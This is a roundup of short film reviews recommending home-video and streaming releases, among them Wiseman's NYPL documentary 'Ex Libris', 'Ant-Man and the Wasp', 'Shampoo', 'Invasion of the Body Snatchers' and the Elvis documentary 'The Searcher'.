Ex Libris: The New York Public Library: The legendary documentarian Frederick Wiseman has spent the better part of a half-century exploring the ins and outs of worthy institutions, so he’s a natural fit for a peek behind the scenes of the NYPL. But the ideal match of reporter and subject goes beyond that — he seems to be interested in literally everything, and that’s what this library offers. It’s not just a repository for books; it houses art and information, hosts public talks and private events, and functions as a valuable community center in neighborhoods rich and poor. Throughout the (as usual, leisurely) film, there are wonderful cuts that indicate the breadth of what this organization provides, from, for example, a piano recital at the Lincoln Center branch to a jobs expo at the Bronx Library Center. This library wants to provide both of those things to its patrons; Wiseman’s exquisite film sees the value of that mission, and shares it.

ON BLU-RAY / DVD / VOD 

Ant-Man and the Wasp: The increasingly stifling seriousness of the Marvel movies — which came to a bit of a head with Infinity War — is again charmingly subverted by Peyton Reed’s sequel to his 2015 comic adventure. That film was breezy fun that felt as though it had to switch off to fulfill the obligations of the Marvel house style; this time, it seems like Reed’s been given a longer leash, so even the big set pieces are injected with inventive visual gags, and moments of overwrought backstory are subverted altogether. As before, it mostly works because of Paul Rudd’s formidable charisma (there’s an early montage, set to the Partridge Family’s “C’mon, Get Happy,” that’s like courtroom evidence of his likability), and while Michael Peña again steals the show, Randall Park also lands some very funny moments, and Michelle Pfeiffer, predictably, slays. (Includes deleted scenes, gag reel, and featurette.)

ON BLU-RAY

Shampoo: Hal Ashby’s 1975 Warren Beatty vehicle (a new addition to the Criterion Collection) does something miraculous: it takes what could’ve been a simple, giggly sex-com premise, and uses it as a vehicle for a genuinely probing exploration of a flawed character, and those in his orbit. Beatty plays a hot-stuff Beverly Hills hairdresser, engaged in affairs with multiple clients, all of whose husbands assume he’s safe because, y’know, he’s a hairdresser. That’s borderline Three’s Company territory, but screenwriter Robert Towne telescopes the action, sets it all on Election Night 1968, and somehow manages to make his protagonist’s wanderlust into an apt metaphor for the decaying of America. Goldie Hawn, Julie Christie, and Lee Grant are all scorching as the women he will, to varying degrees, disappoint, while Beatty turns in one of his finest performances as a guy who’s coasted for years on looks and charm, yet knows, in the back of his mind, that it’s not gonna last much longer.  (Includes critics’ conversation and Beatty TV appearance.) 

Invasion of the Body Snatchers: One of the most influential sci-fi films of all time — which beget three official remakes and countless unauthorized imitations — joins Olive Films’ Signature Collection, and in spite of its familiarity, it still packs a punch. Kevin McCarthy returns to his small town after two weeks away and discovers something’s gone awry, with widespread reports of people freaked out by friends and relatives who aren’t what they seem; he’s assured it’s a mass delusion, but discovers something more sinister. The film’s analogues to events near its mid-‘50s release have been duly noted, and are certainly effective — but regardless of those parallels, it’s just a crackerjack piece of paranoia-infused sci-fi, with the great Don Siegel crafting scene after scene of unnerving pleasantry giving way to sweaty desperation. (Includes audio commentaries, production documents, trailer, and featurettes.)

ON DVD

Elvis Presley: The Searcher: When we talk about Elvis Presley, we’re talking about so much other stuff — celebrity, addiction, cultural appropriation, cult of personality — that it’s easy to forget to frame him as what we knew him as first: a musician. This exquisitely crafted documentary, which first aired in two parts on HBO earlier this year, seeks to reframe him on those original terms; the title refers to his endless curiosity as an artist, which brought him to the blues and R&B that were so essential to his style, and led him to continue experimenting, as a megastar, when he could. (Particular attention is paid to the ’68 comeback special and the muscular recordings that followed.) Clips and recordings a-plenty, of course, as well as insights from associates and admirers (heard but not seen, a potentially off-putting device that mostly works), will leave even casual admirers happy for the musical legacy he left, and mourning the recordings he didn’t make when the Colonel was forcing him to crank out a bunch of terrible movies and soundtrack albums. (Includes featurette.)

                                                                                                

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